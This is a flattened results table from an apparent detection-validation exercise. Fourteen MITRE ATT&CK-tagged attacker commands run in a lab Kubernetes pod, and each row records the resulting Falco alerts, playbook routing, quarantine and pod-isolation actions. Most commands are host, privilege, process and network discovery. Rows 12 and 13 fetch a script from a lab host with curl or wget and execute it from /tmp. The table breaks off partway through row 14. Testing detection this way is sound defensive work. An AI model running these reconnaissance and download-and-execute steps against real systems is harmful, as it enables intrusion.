number mitre_id scenario_name command execution_status start_ts end_ts falco_detected falco_rules alert_count response_falco_rule falco_trigger sidekick_talon playbook route_playbook playbook_triggered primary_action notify_admin route_marker_observed route_trace_id falco_event_excerpt route_falco_event incident_id 1 T1082 Découverte des répertoires accessibles en écriture et des permissions find /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probe EXECUTED 2026-11-09T06:11:11.510Z 2026-11-09T06:11:17.945Z YES Custom T1059.004 Non Interactive Shell; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path; Custom Suspicious Filesystem Enumeration; Drop and execute new binary in container 6 PR10 Route S01 PB1 YES YES PB1 PB1 Routing Validation Playbook S01 YES Collecte de preuves SKIPPED YES 2026-11-09T06:11:11.674933114+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S01; find /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probe parent= container=cible1 pod=cible1) || 2026-11-09T06:11:11.674933114+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh -c PR10_SCENARIO=S01; find /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probe parent= container=cible1) || 2026-11-09T06:11:11.674933114+0000: Warning Exécution suspecte d’un script shell dans un conteneur (user=root uid=0 command=sh -c PR10_SCENARIO=S01; find /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probe process=sh parent= container=cible1 pod=cible1 namespace=default) 2026-11-09T06:11:11.674933114+0000: Warning PR10 ROUTE S01 PB1 (pod=cible1 namespace=default scenario=S01 commande=sh -c PR10_SCENARIO=S01; find /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probe) ROUTE-S01-aws-20261109-0608 2 T1082 Énumération des privilèges et de l’hôte uname -a; cat /etc/os-release 2>/dev/null | head -20; id; find /usr/bin /usr/sbin -type f \( -perm -4000 -o -perm -2000 \) -ls 2>/dev/null | head -40; if command -v getcap >/dev/null 2>&1; then getcap -r / 2>/dev/null | head -100; fi EXECUTED 2026-11-09T06:11:18.060Z 2026-11-09T06:11:24.779Z YES Custom T1059.004 Non Interactive Shell; Custom Suspicious Filesystem Enumeration; Drop and execute new binary in container; Custom T1057 Process Discovery 8 PR10 Route S02 PB1 YES YES PB1 PB1 Routing Validation Playbook S02 YES Collecte de preuves SKIPPED YES 2026-11-09T06:11:18.191508819+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S02; uname -a; cat /etc/os-release 2>/dev/null | head -20; id; find /usr/bin /usr/sbin -type f \( -perm -4000 -o -perm -2000 \) -ls 2>/dev/null | head -40; if command -v getcap >/dev/null 2>&1; then getcap -r / 2>/dev/null | head -100; fi parent= container=cible1 pod=cible1) || 2026-11-09T06:11:18.221725403+0000: Notice CUSTOM - Découverte du système de fichiers (user=root command=find /usr/bin /usr/sbin -type f ( -perm -4000 -o -perm -2000 ) -ls container=cible1 pod=cible1) || 2026-11-09T06:11:18.244972795+0000: Critical Executing binary not part of base image | proc_exe=getcap proc_sname=sh gparent= proc_exe_ino_ctime=1794203433918936480 proc_exe_ino_mtime=1783933016000000000 proc_exe_ino_ctime_duration_proc_start=1244324604169 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=getcap proc_exepath=/usr/sbin/getcap parent=sh command=getcap -r / terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER 2026-11-09T06:11:18.191508819+0000: Warning PR10 ROUTE S02 PB1 (pod=cible1 namespace=default scenario=S02 commande=sh -c PR10_SCENARIO=S02; uname -a; cat /etc/os-release 2>/dev/null | head -20; id; find /usr/bin /usr/sbin -type f \( -perm -4000 -o -perm -2000 \) -ls 2>/dev/null | head -40; if command -v getcap >/dev/null 2>&1; then getcap -r / 2>/dev/null | head -100; fi) ROUTE-S02-aws-20261109-0608 3 T1057 Découverte des processus utilisateur et des lignes de commande ps aux | grep root | head -20; ps -eo pid,ppid,user,comm,args --sort=pid | head -30 EXECUTED 2026-11-09T06:11:24.878Z 2026-11-09T06:11:31.516Z YES Custom T1059.004 Non Interactive Shell; Custom T1057 Process Discovery; Drop and execute new binary in container 12 PR10 Route S03 PB1 YES YES PB1 PB1 Routing Validation Playbook S03 YES Collecte de preuves SKIPPED YES 2026-11-09T06:11:25.082595355+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S03; ps aux | grep root | head -20; ps -eo pid,ppid,user,comm,args --sort=pid | head -30 parent= container=cible1 pod=cible1) || 2026-11-09T06:11:25.090625190+0000: Notice CUSTOM T1057 - Découverte des processus (user=root command=ps aux parent=sh container=cible1) || 2026-11-09T06:11:25.090625190+0000: Critical Executing binary not part of base image | proc_exe=ps proc_sname=sh gparent= proc_exe_ino_ctime=1794203434720940389 proc_exe_ino_mtime=1753876720000000000 proc_exe_ino_ctime_duration_proc_start=1250364661160 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=ps proc_exepath=/usr/bin/ps parent=sh command=ps aux terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER 2026-11-09T06:11:25.082595355+0000: Warning PR10 ROUTE S03 PB1 (pod=cible1 namespace=default scenario=S03 commande=sh -c PR10_SCENARIO=S03; ps aux | grep root | head -20; ps -eo pid,ppid,user,comm,args --sort=pid | head -30) ROUTE-S03-aws-20261109-0608 4 T1057 Découverte détaillée des processus système ps aux; ps -ef | head -40; ps -eo pid,ppid,user,stat,comm --sort=pid | head -40 EXECUTED 2026-11-09T06:11:31.609Z 2026-11-09T06:11:38.169Z YES Custom T1059.004 Non Interactive Shell; Custom T1057 Process Discovery; Drop and execute new binary in container 10 PR10 Route S04 PB1 YES YES PB1 PB1 Routing Validation Playbook S04 YES Collecte de preuves SKIPPED YES 2026-11-09T06:11:31.737014172+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S04; ps aux; ps -ef | head -40; ps -eo pid,ppid,user,stat,comm --sort=pid | head -40 parent= container=cible1 pod=cible1) || 2026-11-09T06:11:31.738974028+0000: Notice CUSTOM T1057 - Découverte des processus (user=root command=ps aux parent=sh container=cible1) || 2026-11-09T06:11:31.738974028+0000: Critical Executing binary not part of base image | proc_exe=ps proc_sname=sh gparent= proc_exe_ino_ctime=1794203434720940389 proc_exe_ino_mtime=1753876720000000000 proc_exe_ino_ctime_duration_proc_start=1257017684196 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=ps proc_exepath=/usr/bin/ps parent=sh command=ps aux terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER 2026-11-09T06:11:31.737014172+0000: Warning PR10 ROUTE S04 PB1 (pod=cible1 namespace=default scenario=S04 commande=sh -c PR10_SCENARIO=S04; ps aux; ps -ef | head -40; ps -eo pid,ppid,user,stat,comm --sort=pid | head -40) ROUTE-S04-aws-20261109-0608 5 T1057 Énumération des processus et de procfs "ps; find /proc -maxdepth 1 -type d -regex '/proc/[0-9]+' 2>/dev/null | head -25; for p in /proc/[0-9]*/cmdline; do tr '\0' ' ' < ""$p"" 2>/dev/null | head -c 160; echo; done | head -30" EXECUTED 2026-11-09T06:11:38.264Z 2026-11-09T06:11:44.702Z YES Custom T1059.004 Non Interactive Shell; Custom T1057 Process Discovery; Drop and execute new binary in container 6 PR10 Route S05 PB1 YES YES PB1 PB1 Routing Validation Playbook S05 YES Collecte de preuves SKIPPED YES "2026-11-09T06:11:38.385153442+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S05; ps; find /proc -maxdepth 1 -type d -regex '/proc/[0-9]+' 2>/dev/null | head -25; for p in /proc/[0-9]*/cmdline; do tr '\0' ' ' < ""$p"" 2>/dev/null | head -c 160; echo; done | head -30 parent= container=cible1 pod=cible1) || 2026-11-09T06:11:38.391856292+0000: Notice CUSTOM T1057 - Découverte des processus (user=root command=ps parent=sh container=cible1) || 2026-11-09T06:11:38.391856292+0000: Critical Executing binary not part of base image | proc_exe=ps proc_sname=sh gparent= proc_exe_ino_ctime=1794203434720940389 proc_exe_ino_mtime=1753876720000000000 proc_exe_ino_ctime_duration_proc_start=1263670554160 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=ps proc_exepath=/usr/bin/ps parent=sh command=ps terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER" "2026-11-09T06:11:38.385153442+0000: Warning PR10 ROUTE S05 PB1 (pod=cible1 namespace=default scenario=S05 commande=sh -c PR10_SCENARIO=S05; ps; find /proc -maxdepth 1 -type d -regex '/proc/[0-9]+' 2>/dev/null | head -25; for p in /proc/[0-9]*/cmdline; do tr '\0' ' ' < ""$p"" 2>/dev/null | head -c 160; echo; done | head -30)" ROUTE-S05-aws-20261109-0608 6 T1057 Découverte de la virtualisation et des processus de conteneur ps aux | grep -Ei 'qemu|vmware|virtualbox|hyperv|containerd|kube|docker' | head -25 || true; cat /proc/1/cgroup 2>/dev/null | head -20; test -f /.dockerenv && echo container-marker-present || true EXECUTED 2026-11-09T06:11:44.794Z 2026-11-09T06:11:51.325Z YES Custom T1059.004 Non Interactive Shell; Custom T1057 Process Discovery; Drop and execute new binary in container 4 PR10 Route S06 PB1 YES YES PB1 PB1 Routing Validation Playbook S06 YES Collecte de preuves SKIPPED YES 2026-11-09T06:11:44.963596205+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S06; ps aux | grep -Ei 'qemu|vmware|virtualbox|hyperv|containerd|kube|docker' | head -25 || true; cat /proc/1/cgroup 2>/dev/null | head -20; test -f /.dockerenv && echo container-marker-present || true parent= container=cible1 pod=cible1) || 2026-11-09T06:11:44.967222155+0000: Notice CUSTOM T1057 - Découverte des processus (user=root command=ps aux parent=sh container=cible1) || 2026-11-09T06:11:44.967222155+0000: Critical Executing binary not part of base image | proc_exe=ps proc_sname=sh gparent= proc_exe_ino_ctime=1794203434720940389 proc_exe_ino_mtime=1753876720000000000 proc_exe_ino_ctime_duration_proc_start=1270245816496 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=ps proc_exepath=/usr/bin/ps parent=sh command=ps aux terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER 2026-11-09T06:11:44.963596205+0000: Warning PR10 ROUTE S06 PB1 (pod=cible1 namespace=default scenario=S06 commande=sh -c PR10_SCENARIO=S06; ps aux | grep -Ei 'qemu|vmware|virtualbox|hyperv|containerd|kube|docker' | head -25 || true; cat /proc/1/cgroup 2>/dev/null | head -20; test -f /.dockerenv && echo container-marker-present || true) ROUTE-S06-aws-20261109-0608 7 T1083 Énumération récursive des répertoires et des fichiers ls -la / /etc /tmp /var/tmp >/dev/null; find /etc -maxdepth 2 -type f 2>/dev/null | head -60; find /tmp /var/tmp -maxdepth 2 -type f 2>/dev/null | head -40 EXECUTED 2026-11-09T06:11:51.426Z 2026-11-09T06:11:57.812Z YES Custom T1059.004 Non Interactive Shell; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path 4 PR10 Route S07 PB1 YES YES PB1 PB1 Routing Validation Playbook S07 YES Collecte de preuves SKIPPED YES 2026-11-09T06:11:51.547565344+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S07; ls -la / /etc /tmp /var/tmp >/dev/null; find /etc -maxdepth 2 -type f 2>/dev/null | head -60; find /tmp /var/tmp -maxdepth 2 -type f 2>/dev/null | head -40 parent= container=cible1 pod=cible1) || 2026-11-09T06:11:58.049629471+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery parent= container=cible1 pod=cible1) || 2026-11-09T06:11:58.049629471+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery parent= container=cible1) 2026-11-09T06:11:51.547565344+0000: Warning PR10 ROUTE S07 PB1 (pod=cible1 namespace=default scenario=S07 commande=sh -c PR10_SCENARIO=S07; ls -la / /etc /tmp /var/tmp >/dev/null; find /etc -maxdepth 2 -type f 2>/dev/null | head -60; find /tmp /var/tmp -maxdepth 2 -type f 2>/dev/null | head -40) ROUTE-S07-aws-20261109-0608 8 T1083 Recherche de fichiers nommés et inspection des métadonnées mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery EXECUTED 2026-11-09T06:11:57.905Z 2026-11-09T06:12:04.328Z YES Custom T1059.004 Non Interactive Shell; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path 4 PR10 Route S08 PB1 YES YES PB1 PB1 Routing Validation Playbook S08 YES Collecte de preuves SKIPPED YES 2026-11-09T06:11:58.049629471+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery parent= container=cible1 pod=cible1) || 2026-11-09T06:11:58.049629471+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery parent= container=cible1) || 2026-11-09T06:11:58.049629471+0000: Warning Exécution suspecte d’un script shell dans un conteneur (user=root uid=0 command=sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery process=sh parent= container=cible1 pod=cible1 namespace=default) 2026-11-09T06:11:58.049629471+0000: Warning PR10 ROUTE S08 PB1 (pod=cible1 namespace=default scenario=S08 commande=sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery) ROUTE-S08-aws-20261109-0608 9 T1083 Parcours et inspection du répertoire de travail pwd; cd /tmp; pwd; ls -la /tmp | head -40; find /tmp -maxdepth 1 -type f -print 2>/dev/null | head -25; stat /tmp 2>/dev/null EXECUTED 2026-11-09T06:12:04.414Z 2026-11-09T06:12:10.802Z YES Custom T1059.004 Non Interactive Shell; Custom T1046 Network Service Discovery; Drop and execute new binary in container; Packet socket created in container 5 PR10 Route S09 PB1 YES YES PB1 PB1 Routing Validation Playbook S09 YES Collecte de preuves SKIPPED YES 2026-11-09T06:12:04.544812939+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S09; pwd; cd /tmp; pwd; ls -la /tmp | head -40; find /tmp -maxdepth 1 -type f -print 2>/dev/null | head -25; stat /tmp 2>/dev/null parent= container=cible1 pod=cible1) || 2026-11-09T06:12:11.027529036+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S10; nmap -Pn -sV --version-light -p 80,443,8080 cible2 parent=runc container=cible1 pod=cible1) || 2026-11-09T06:12:11.032253238+0000: Warning CUSTOM T1046 - Découverte des services réseau (user=root processus=nmap commande=nmap -Pn -sV --version-light -p 80,443,8080 cible2 container=cible1) 2026-11-09T06:12:04.544812939+0000: Warning PR10 ROUTE S09 PB1 (pod=cible1 namespace=default scenario=S09 commande=sh -c PR10_SCENARIO=S09; pwd; cd /tmp; pwd; ls -la /tmp | head -40; find /tmp -maxdepth 1 -type f -print 2>/dev/null | head -25; stat /tmp 2>/dev/null) ROUTE-S09-aws-20261109-0608 10 T1046 Identification des services réseau nmap -Pn -sV --version-light -p 80,443,8080 cible2 EXECUTED 2026-11-09T06:12:10.895Z 2026-11-09T06:12:24.834Z YES Custom T1059.004 Non Interactive Shell; Custom T1046 Network Service Discovery; Drop and execute new binary in container; Packet socket created in container 6 PR10 Route S10 PB1 YES YES PB1 PB1 Routing Validation Playbook S10 YES Collecte de preuves SKIPPED YES 2026-11-09T06:12:11.027529036+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S10; nmap -Pn -sV --version-light -p 80,443,8080 cible2 parent=runc container=cible1 pod=cible1) || 2026-11-09T06:12:11.032253238+0000: Warning CUSTOM T1046 - Découverte des services réseau (user=root processus=nmap commande=nmap -Pn -sV --version-light -p 80,443,8080 cible2 container=cible1) || 2026-11-09T06:12:11.032253238+0000: Critical Executing binary not part of base image | proc_exe=nmap proc_sname=sh gparent=runc proc_exe_ino_ctime=1794203435595944653 proc_exe_ino_mtime=1743184838000000000 proc_exe_ino_ctime_duration_proc_start=1295435933237 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=nmap proc_exepath=/usr/bin/nmap parent=sh command=nmap -Pn -sV --version-light -p 80,443,8080 cible2 terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER 2026-11-09T06:12:11.027529036+0000: Warning PR10 ROUTE S10 PB1 (pod=cible1 namespace=default scenario=S10 commande=sh -c PR10_SCENARIO=S10; nmap -Pn -sV --version-light -p 80,443,8080 cible2) ROUTE-S10-aws-20261109-0608 11 T1046 Découverte de services TCP sur plusieurs ports "python3 -c ""import socket; host='cible2'; ports=(80,443,8080); [(lambda p: (print('probe',p), (lambda s: (s.settimeout(1), s.connect_ex((host,p)), print('result',p,s.connect_ex((host,p))), s.close()))(socket.socket())))(p) for p in ports]""" EXECUTED 2026-11-09T06:12:24.966Z 2026-11-09T06:12:33.458Z YES Custom T1059.004 Non Interactive Shell; Drop and execute new binary in container; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path; Custom T1105 Suspicious Tool Transfer 9 PR10 Route S11 PB1 YES YES PB1 PB1 Routing Validation Playbook S11 YES Collecte de preuves SKIPPED YES "2026-11-09T06:12:25.126186139+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S11; python3 -c ""import socket; host='cible2'; ports=(80,443,8080); [(lambda p: (print('probe',p), (lambda s: (s.settimeout(1), s.connect_ex((host,p)), print('result',p,s.connect_ex((host,p))), s.close()))(socket.socket())))(p) for p in ports]"" parent= container=cible1 pod=cible1) || 2026-11-09T06:12:25.128024984+0000: Critical Executing binary not part of base image | proc_exe=python3 proc_sname=sh gparent= proc_exe_ino_ctime=1794203431370924062 proc_exe_ino_mtime=1786363619000000000 proc_exe_ino_ctime_duration_proc_start=1313756074362 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=python3 proc_exepath=/usr/bin/python3.13 parent=sh command=python3 -c import socket; host='cible2'; ports=(80,443,8080); [(lambda p: (print('probe',p), (lambda s: (s.settimeout(1), s.connect_ex((host,p)), print('result',p,s.connect_ex((host,p))), s.close()))(socket.socket())))(p) for p in ports] terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER || 2026-11-09T06:12:33.689017766+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S12; curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh parent= container=cible1 pod=cible1)" "2026-11-09T06:12:25.126186139+0000: Warning PR10 ROUTE S11 PB1 (pod=cible1 namespace=default scenario=S11 commande=sh -c PR10_SCENARIO=S11; python3 -c ""import socket; host='cible2'; ports=(80,443,8080); [(lambda p: (print('probe',p), (lambda s: (s.settimeout(1), s.connect_ex((host,p)), print('result',p,s.connect_ex((host,p))), s.close()))(socket.socket())))(p) for p in ports]"")" ROUTE-S11-aws-20261109-0608 12 T1105 Transfert, inspection et exécution d’un outil avec curl curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh EXECUTED 2026-11-09T06:12:33.551Z 2026-11-09T06:12:39.981Z YES Custom T1059.004 Non Interactive Shell; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path; Custom T1105 Suspicious Tool Transfer; Drop and execute new binary in container 15 PR10 Route S12 PB2 YES YES PB2 PB2 Routing Validation Playbook S12 YES Mise en quarantaine du fichier SKIPPED YES 2026-11-09T06:12:33.689017766+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S12; curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh parent= container=cible1 pod=cible1) || 2026-11-09T06:12:33.689017766+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh -c PR10_SCENARIO=S12; curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh parent= container=cible1) || 2026-11-09T06:12:33.689017766+0000: Warning Exécution suspecte d’un script shell dans un conteneur (user=root uid=0 command=sh -c PR10_SCENARIO=S12; curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh process=sh parent= container=cible1 pod=cible1 namespace=default) 2026-11-09T06:12:33.689017766+0000: Warning PR10 ROUTE S12 PB2 (pod=cible1 namespace=default scenario=S12 commande=sh -c PR10_SCENARIO=S12; curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh) ROUTE-S12-aws-20261109-0608 13 T1105 Transfert, préparation et exécution d’un outil avec wget wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh EXECUTED 2026-11-09T06:12:40.099Z 2026-11-09T06:12:46.594Z YES Custom T1059.004 Non Interactive Shell; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path; Custom T1105 Suspicious Tool Transfer; Drop and execute new binary in container; Custom T1057 Process Discovery 16 PR10 Route S13 PB2 YES YES PB2 PB2 Routing Validation Playbook S13 YES Mise en quarantaine du fichier SKIPPED YES 2026-11-09T06:12:40.236922455+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S13; wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh parent= container=cible1 pod=cible1) || 2026-11-09T06:12:40.236922455+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh -c PR10_SCENARIO=S13; wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh parent= container=cible1) || 2026-11-09T06:12:40.236922455+0000: Warning Exécution suspecte d’un script shell dans un conteneur (user=root uid=0 command=sh -c PR10_SCENARIO=S13; wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh process=sh parent= container=cible1 pod=cible1 namespace=default) 2026-11-09T06:12:40.236922455+0000: Warning PR10 ROUTE S13 PB2 (pod=cible1 namespace=default scenario=S13 commande=sh -c PR10_SCENARIO=S13; wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh) ROUTE-S13-aws-20261109-0608 14 T1059.004 Préparation et exécution d’un script shell printf '%s\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.sh EXECUTED 2026-11-09T06:12:46.682Z 2026-11-09T06:12:53.111Z YES Custom T1059.004 Non Interactive Shell; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path; Custom T1057 Process Discovery; Drop and execute new binary in container 8 PR10 Route S14 PB3 YES YES PB3 PB3 Routing Validation Playbook S14 YES Isolement du pod SKIPPED YES 4806d7a192c08d1e4bd967a04436aa5d 2026-11-09T06:12:46.806584234+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S14; printf '%s\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.sh parent= container=cible1 pod=cible1) || 2026-11-09T06:12:46.806584234+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh -c PR10_SCENARIO=S14; printf '%s\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.sh parent= container=cible1) || 